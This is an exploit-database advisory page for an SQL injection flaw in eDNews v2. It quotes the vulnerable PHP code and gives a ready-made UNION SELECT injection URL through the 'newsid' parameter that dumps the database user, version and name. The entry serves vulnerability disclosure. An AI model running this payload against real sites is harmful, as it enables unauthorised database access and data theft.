header-logo
Suggest Exploit
vendor:
eDNews
by:
virangar security team(hadihadi)
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: eDNews
Affected Version From: 2
Affected Version To: 2
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

eDNews v2 SQL Injection Vulnerability

eDNews v2 is prone to an SQL injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. An attacker can exploit this issue to manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data. This issue affects version 2; other versions may also be vulnerable.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in an unsafe manner.
Source

Exploit-DB raw data:

  #######################################################################################
  #                                                                                     #
  #                 ...:::::eDNews v2 SQL Injection Vulnerability::::....               #          
  #######################################################################################
Virangar Security Team
www.virangar.net
--------
Discoverd By :virangar security team(hadihadi)
special tnx to:MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra
& all virangar members & all hackerz
greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
vuln code in eDNews_view.php:
line 22-23:
if ( isset( $_REQUEST['newsid'] ) ) {
 ${$CONFIG['fld_id']} = $_REQUEST['newsid'];
....
line 42-46:
$arr_select = array( $CONFIG['fld_id'], ''.$CONFIG['fld_title'].'', ''.$CONFIG['fld_content'].'',''.$CONFIG['fld_dateCreated'].'',''.$CONFIG['fld_score'] .'');
$arr_from = array($CONFIG['table']);
$where = $CONFIG['fld_id'].' = '.${$CONFIG['fld_id']};
$eDQuery_ = new edQuery( $dblink, $CONFIG['db'], $arr_from, $arr_select, $where, null, 'extended', $CONFIG['debug'], null, '1' );
$arr_rst = $eDQuery_->getRecords();
---
exploit:
http://site.com/eDNews_view.php?newsid=-99/**/union/**/select/**/1,2,concat(user(),0x3a,version(),0x3e,database()),4,5/*
-------
young iranian h4ck3rz

# milw0rm.com [2008-12-29]